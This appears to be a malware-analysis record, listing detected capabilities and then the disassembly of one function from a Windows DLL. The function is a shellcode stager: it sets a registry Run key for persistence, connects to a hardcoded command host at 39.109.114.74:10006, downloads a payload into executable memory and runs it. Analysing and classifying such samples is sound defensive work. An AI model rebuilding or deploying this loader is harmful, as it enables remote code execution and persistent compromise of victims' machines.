Function at 0x100023b0
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Execute shellcode via indirect call
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Resolve dns
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2cc
mov eax, dword [0x101c9e80]
xor eax, esp
mov dword [esp + 0x2c8], eax
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x1cc]
push 0
push eax
call fcn.1014d4d0
add esp, 0xc
lea eax, [esp + 0x1c8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
push 0x101abef0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002443
push 0x104
lea eax, [esp + 0x1cc]
push eax
push 1
push 0
push 0x101abf20
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x38]
mov dword [esp + 0x10], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 2
push eax
xorps xmm0, xmm0
mov dword [esp + 0x28], 1
push str.10006
push str.39.109.114.74
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x100025e8
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10002508
mov ebx, dword [sym.imp.WS2_32.dll_connect]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101d2dc8], eax
cmp eax, 0xffffffff
je 0x100025e8
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x10002504
push dword [0x101d2dc8]
call edi
mov esi, dword [esi + 0x1c]
mov dword [0x101d2dc8], 0xffffffff
test esi, esi
jne 0x100024c0
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101d2dc8], 0xffffffff
je 0x100025e8
mov esi, dword [sym.imp.WS2_32.dll_recv]
mov ebx, 2
mov eax, dword [0x101ca910]
mov ecx, dword [0x101d2dcc]
push 0
sub eax, ecx
push eax
mov eax, dword [0x101d2e9c]
add eax, ecx
push eax
push dword [0x101d2dc8]
call esi
test eax, eax
jle 0x1000258f
mov ecx, dword [0x101d2dcc]
add ecx, eax
mov eax, dword [0x101ca910]
mov dword [0x101d2dcc], ecx
cmp ecx, eax
jne 0x10002532
xor ecx, ecx
mul ebx
seto cl
neg ecx
or ecx, eax
push ecx
push dword [0x101d2e9c]
call fcn.10150744
mov dword [0x101d2e9c], eax
add esp, 8
mov eax, dword [0x101ca910]
add eax, eax
mov dword [0x101ca910], eax
jmp 0x1000252c
push 0
push 0
push 0
push 0x10001c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40
push 0x3000
push dword [0x101d2dcc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101d2dcc]
mov esi, eax
push dword [0x101d2e9c]
push esi
call fcn.1014cf50
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [0x101d2dc8]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x2d4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1014b0c0
mov esp, ebp
pop ebp
ret